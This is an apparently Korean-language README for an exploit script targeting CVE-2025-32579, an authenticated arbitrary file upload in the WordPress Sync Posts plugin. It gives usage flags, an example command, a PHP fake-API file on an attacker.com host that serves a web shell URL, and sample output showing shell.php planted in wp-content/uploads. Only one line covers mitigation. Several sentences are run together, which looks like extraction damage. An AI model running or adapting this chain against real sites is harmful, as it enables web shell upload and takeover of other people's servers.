
WordPress Sync Posts Plugin <= 1.0은 임의 파일 업로드에 취약합니다.
📦 영향: Sync Posts <= 1.0
🧨 CVSS 점수: 9.9 치명적
📁 CVSS 벡터:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Sync Posts WordPress 플러그인(SoftClever Limited 제작)은 인증된 공격자가 서버에 임의의 PHP 파일(웹 셸 등)을 업로드하고 실행할 수 있도록 하는 제한 없는 파일 업로드 취약점에 취약합니다.
website_url을 허용합니다.wp-content/uploads 내에 저장됩니다.익스플로잇 스크립트는 전체 체인을 자동화합니다:
<img src="https://raw.githubusercontent.com/nxploited/cve-2025-32579/HEAD/...">로 포함한 JSON 게시물 반환website_url 전송 (admin-ajax.php?action=sync_posts로)/uploads/에 저장하도록 강제usage: CVE-2025-32579.py [-h] -u URL -un USERNAME -p PASSWORD -ws WEBSITE -shell WEBSHELL
Exploit For CVE-2025-32579 Sync Posts # By: Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress URL (e.g., http://target.com/wordpress)
-un, --username USERNAME
Username to login
-p, --password PASSWORD
Password to login
-ws, --website WEBSITE
URL to fake API (e.g., http://attacker.com/Khaled_alenazi.php)
-shell, --webshell WEBSHELL
Web shell URL used inside the fake API (can be a test image)
python3 CVE-2025-32579.py -u http://target/wordpress -un admin -p pass123 -ws http://attacker.com/Khaled_alenazi.php -shell http://attacker.com/shell.php
| 플래그 | 설명 |
|---|---|
-u, --url | 대상 WordPress URL |
-un, --username | WordPress 사용자 이름 (admin) |
-p, --password | WordPress 비밀번호 |
-ws, --website | 가짜 게시물 JSON을 반환하는 악성 PHP 파일의 URL |
-shell, --webshell | ``를 통해 주입할 실제 셸 파일 |
테스트용으로 실제 셸 대신 더미 이미지를 사용할 수도 있습니다:
--webshell https://via.placeholder.com/1x1.jpg
Khaled_alenazi.php가 반환하는 응답:
<?php
header('Content-Type: application/json');
echo json_encode([
[
"id" => 1,
"title" => ["rendered" => "Nxploited"],
"content" => [
"rendered" => "<img src="http://attacker.com/shell.php">"
]
]
]);
?>
[*] Attempting login...
[+] Logged in successfully.
[+] Generated fake API PHP file: Khaled_alenazi.php
[+] Sending exploit request to: http://target.com/wordpress
[+] Request sent successfully.
{
"success": true,
"data": {
"message": "Posts imported successfully",
...
}
}
shell.phpwp-content/uploads/2025/04/shell.phpwebsite_url 접근을 내부 도메인 또는 허용 목록에 있는 호스트로 제한CVE: CVE-2025-32579
Exploit By Nxploited (Khaled Alenazi)